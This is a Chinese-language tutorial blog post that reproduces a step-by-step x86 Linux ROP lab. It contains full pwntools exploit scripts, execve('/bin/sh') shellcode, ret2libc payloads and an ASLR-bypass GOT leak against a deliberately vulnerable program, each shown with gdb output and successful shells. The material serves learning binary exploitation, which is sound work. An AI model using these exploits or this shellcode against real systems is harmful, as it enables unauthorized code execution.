一步一步学ROP之Linux_x86篇-蒸米

这篇博客记录我跟着蒸米大神的文章一步一步学ROP之Linux_x86学习ROP的过程。在进行复现的时候,遇到了一些问题,文章中会提到。

0x00 序

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习。

小编备注:文中涉及代码可在文章最后的github链接找到。

0x01 Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出格式化字符串攻击堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。

首先来看这个有明显缓冲区溢出的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

这里我们用下列命令进行编译

1
gcc -fno-stack-protector -z execstack -o level1 level1.c

这个命令编译程序。-fno-stack-protector-z execstack这两个参数会分别关掉Stack Protector(GS、canary)DEP(NX)

同时我们在shell中执行:

1
2
3
sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。我们使用如下命令:

1
python pattern.py create 150

来生成一串测试用的150个字节的字符串:

1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

随后我们使用gdb ./level1调试程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> run
Starting program: /home/buffer/桌面/practice/ROP_x86/0x01/level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x37654136 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────
*EAX 0x97
EBX 0x0
*ECX 0xffffcd90 ◂— 0x41306141 ('Aa0A')
*EDX 0x100
*EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
*ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
*EBP 0x65413565 ('e5Ae')
*ESP 0xffffce20 ◂— 0x41386541 ('Ae8A')
*EIP 0x37654136 ('6Ae7')
───────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────
Invalid address 0x37654136

我们可以得到内存出错的地址为0x37654136。随后我们使用命令:

1
2
3
python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

这里我们使用一段最简单的执行execve ("/bin/sh")命令的语句作为shellcode。

溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:

1
2
[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?

最简单的方法就是开启core dump这个功能。

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。这里的核心转储只在当前终端下有效,关闭终端自动恢复默认状态(关闭)。

如果想让核心转储功能永久开启,可以修改文件/etc/security/limits.conf ,增加一行:

1
2
#<domain> <type> <item> <value>
* soft core unlimited

通过修改 /proc/sys/kernel/core_uses_pid ,可以使生成的核心转储文件名变为 core.[pid] 的模式。

1
echo 1 > /proc/sys/kernel/core_uses_pid

还可以修改 /proc/sys/kernel/core_pattern 来控制生成核心转储文件的保存位置文件名格式

1
echo /tmp/core-%e-%p-%t > /proc/sys/kernel/core_pattern

此时生成的文件保存在 /tmp/ 目录下,文件名格式为 core-[filename]-[pid]-[time]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ./level1 
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
段错误 (核心已转储)
$ gdb level1 /tmp/core.1525946343
pwndbg: loaded 170 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from level1...(no debugging symbols found)...done.
[New LWP 10716]
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────
EAX 0x9e
EBX 0x0
ECX 0xffffce70 ◂— 0x44434241 ('ABCD')
EDX 0x100
EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0x41414141 ('AAAA')
ESP 0xffffcf00 ◂— 0x41414141 ('AAAA')
EIP 0x41414141 ('AAAA')
───────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────
Invalid address 0x41414141

pwndbg> x/10s $esp-144
0xffffce70: "ABCD", 'A' <repeats 11 times>...
0xffffce7f: 'A' <repeats 15 times>...
0xffffce8e: 'A' <repeats 15 times>...
0xffffce9d: 'A' <repeats 15 times>...

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xffffce70。这里在我的环境里是这个地址值,和大佬的值相差很大,应该是环境的问题。最坑的是,前面我在普通用户下复现的,shell是zsh,exp死活执行不成功,思考了很长一段时间。最后在将shell切换成bash后,执行成功了。

切换shell的命令:

1
2
3
4
5
#切换为bash
chsh -s /bin/bash
#切换为zsh
chsh -s /bin/zsh
#切换完记得注销一下

OK,现在溢出点shellcode返回值地址都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。

1
2
p = process('./level1')  #本地测试
p = remote('127.0.0.1',10001) #远程攻击

最终本地测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
from pwn import *

p = process('./level1')
ret = 0xffffce70

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret)
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive() #开启交互shell

执行exp:

1
2
3
4
5
6
$ python level1_exp.py 
[+] Starting local process './level1': pid 2633
[*] Switching to interactive mode
$ whoami
root
$

接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:

1
socat TCP4-LISTEN:10001,fork EXEC:./level1

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process(‘./level1’)换成p = remote(‘127.0.0.1’,10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

1
2
3
4
5
6
$ python level1_exp.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
buffer
$

0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护

现在我们把DEP打开,依然关闭stack protectorASLR。编译方法如下:

1
gcc -fno-stack-protector -o level2 level2.c

这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1stackrwx的,但是level2stack却是rw的。

1
2
level1:   bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]

那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过printsearchmem命令来查找system和”/bin/sh”字符串的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ gdb level2
pwndbg> b main
Breakpoint 1 at 0x804846e
pwndbg> run
Starting program: /home/buffer/桌面/practice/ROP_x86/0x02/level2
......
► f 0 804846e main+14
f 1 f7e1a637 __libc_start_main+247
Breakpoint main
pwndbg> print system
$1 = {<text variable, no debug info>} 0xf7e3cda0 <__libc_system>
pwndbg> print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xf7e1a540 <__libc_start_main>
pwndbg> searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5da0b ("/bin/sh")

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过searchmem命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xf7e3cda0以及"/bin/sh"的地址0xf7f5da0b。下面我们开始写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xf7e3cda0
binshaddr=0xf7f5da0b

payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:

1
2
3
4
5
$ python level2_exp.py 
[+] Starting local process './level2': pid 5659
[*] Switching to interactive mode
$ whoami
buffer

OK。测试成功。

0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

接下来我们打开ASLR保护。

1
2
sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space

现在我们再回头测试一下level2的exp,发现已经不好用了。

1
2
3
4
5
6
7
$ python level2_exp.py 
[+] Starting local process './level2': pid 5731
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ whoami
[*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 5731)
[*] Got EOF while sending in interactive

如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat /proc/[第1次执行的level2的pid]/maps
f7d63000-f7f13000 r-xp 00000000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
f7f13000-f7f15000 r--p 001af000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
f7f15000-f7f16000 rw-p 001b1000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so

cat /proc/[第2次执行的level2的pid]/maps
f7d66000-f7f16000 r-xp 00000000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
f7f16000-f7f18000 r--p 001af000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
f7f18000-f7f19000 rw-p 001b1000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so

cat /proc/[第3次执行的level2的pid]/maps
f7d4f000-f7eff000 r-xp 00000000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
f7eff000-f7f01000 r--p 001af000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
f7f01000-f7f02000 rw-p 001b1000 08:01 404316 /lib/i386-linux-gnu/libc-2.23.so
1
2
3
4
5
6
7
8
$ ldd level2
linux-gate.so.1 => (0xf7f56000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d81000)
/lib/ld-linux.so.2 (0xf7f58000)
$ ldd level2
linux-gate.so.1 => (0xf7f1b000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d46000)
/lib/ld-linux.so.2 (0xf7f1d000)

那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示:


Linux内存随机化分布图

Linux内存随机化分布图

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。首先我们利用objdump来查看可以利用的plt函数和函数对应的got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ objdump -d -j .plt level2

Disassembly of section .plt:

080482f0 <read@plt-0x10>:
80482f0: ff 35 04 a0 04 08 pushl 0x804a004
80482f6: ff 25 08 a0 04 08 jmp *0x804a008
80482fc: 00 00 add %al,(%eax)
...

08048300 <read@plt>:
8048300: ff 25 0c a0 04 08 jmp *0x804a00c
8048306: 68 00 00 00 00 push $0x0
804830b: e9 e0 ff ff ff jmp 80482f0 <_init+0x28>

08048310 <__libc_start_main@plt>:
8048310: ff 25 10 a0 04 08 jmp *0x804a010
8048316: 68 08 00 00 00 push $0x8
804831b: e9 d0 ff ff ff jmp 80482f0 <_init+0x28>

08048320 <write@plt>:
8048320: ff 25 14 a0 04 08 jmp *0x804a014
8048326: 68 10 00 00 00 push $0x10
804832b: e9 c0 ff ff ff jmp 80482f0 <_init+0x28>


$ objdump -R level2

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT write@GLIBC_2.0

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

因为system()函数和write()libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

1
2
3
4
5
$ ldd level2
linux-gate.so.1 => (0xf7f84000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7daf000)
/lib/ld-linux.so.2 (0xf7f86000)
$ cp /lib/i386-linux-gnu/libc.so.6 .

最后exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048471
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

接着我们使用socat把level2绑定到10003端口:

1
socat TCP4-LISTEN:10003,fork EXEC:./level2

最后执行我们的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ python level3_exp.py
[*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x86/0x03/libc.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x86/0x03/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 10003: Done
write_plt= 0x8048320
write_got= 0x804a014
vulfun_addr= 0x8048471

###sending payload1 ...###

###receving write() addr...###
write_addr= 0xf7df3b70

###calculating system() addr and "/bin/sh" addr...###
system_addr= 0xf7d58da0
binsh_addr= 0xf7e79a0b

###sending payload2 ...###
[*] Switching to interactive mode
$ whoami
buffer

0x04 小结

本章简单介绍了ROP攻击的基本原理,由于篇幅原因,我们会在随后的文章中会介绍更多的攻击技巧:如何利用工具寻找gadgets,如何在不知道对方libc.so版本的情况下计算offset;如何绕过Stack Protector等。欢迎大家到时继续学习。另外本文提到的所有源代码和工具都可以从我的github下载:

0x05 参考文献

  1. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86)
  2. picoCTF 2013: https://github.com/picoCTF/2013-Problems
  3. Smashing The Stack For Fun And Profit: http://phrack.org/issues/49/14.html
  4. 程序员的自我修养
  5. ROP轻松谈
文章目录
  1. 0x00 序
  2. 0x01 Control Flow Hijack 程序流劫持
  3. 0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
  4. 0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护
  5. 0x04 小结
  6. 0x05 参考文献